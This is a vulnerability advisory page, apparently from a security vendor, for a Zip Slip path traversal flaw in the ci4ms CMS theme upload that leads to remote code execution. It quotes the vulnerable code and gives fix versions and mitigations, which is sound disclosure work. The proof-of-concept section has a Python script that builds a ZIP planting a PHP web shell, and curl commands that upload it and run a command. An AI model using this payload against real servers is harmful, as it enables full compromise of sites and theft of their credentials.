CVE-2026-41203 — ci4-cms-erp/ci4ms
CVE-2026-41203 is a Path Traversal vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.
ci4ms Theme::upload is vulnerable to Zip Slip leading to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41203.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:
public function upload()
{
$valData = ([
'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('theme');
$tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
$zip = new \ZipArchive();
if ($zip->open($file->getTempName()) === true) {
$zip->extractTo($tempPath); // no entry-name validation
$zip->close();
} ...
$log = install_theme_from_tmp($themeName);
...
}
A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.
A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('info.xml', '<theme name=\"x\"/>')
"
Upload through the Theme manager with an authenticated session that has theme create:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'theme=@evil_theme.zip' \
https://target.example.com/backend/themes/themesUpload
Trigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.5.0composer require ci4-cms-erp/ci4ms:^0.31.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ci4-cms-erp/ci4ms to 0.31.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41203 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41203 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41203. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41203 in your dependencies?
O3 Security finds CVE-2026-41203 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.